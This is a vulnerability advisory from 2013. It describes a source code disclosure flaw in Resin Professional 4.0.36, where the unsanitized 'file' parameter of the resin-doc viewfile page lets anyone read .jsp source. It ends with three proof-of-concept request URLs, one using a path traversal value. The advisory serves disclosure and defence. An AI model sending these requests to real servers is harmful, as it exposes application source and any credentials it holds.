Resin Application Server 4.0.36 Source Code Disclosure Vulnerability


Vendor: Caucho Technology, Inc.
Product web page: http://www.caucho.com
Affected version: Resin Professional Web And Application Server 4.0.36

Summary: Resin is the Java Application Server for high traffic
sites that require speed and scalability. It is one of the earliest
Java Application Servers, and has stood the test of time due to
engineering prowess.

Desc: The vulnerability is caused do to an improper sanitization
of the 'file' parameter when used for reading help files. An
attacker can exploit this vulnerability by directly requesting
a '.jsp' file for example in the root directory of the server
to view its source code that might reveal sensitive information.

Tested on: Resin Professional 4.0.36 (built Fri, 26 Apr 2013 03:33:09 PDT)
           Java HotSpot(TM) 64-Bit Server VM 23.3-b01
           4 cpu, Windows 7 amd64 6.1


Vulnerability discovered by Gjoko 'LiquidWorm' Krstic
                            @zeroscience


Advisory ID: ZSL-2013-5144
Advisory URL: http://www.zeroscience.mk/en/vulnerabilities/ZSL-2013-5144.php


01.06.2013

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http://127.0.0.1:8080/resin-doc/viewfile/?file=index.jsp
http://127.0.0.1:8080/resin-doc/viewfile/?contextpath=/.\../&servletpath=&file=index.jsp
http://127.0.0.1:8080/resin-doc/viewfile/?contextpath=/.&servletpath=&file=index.jsp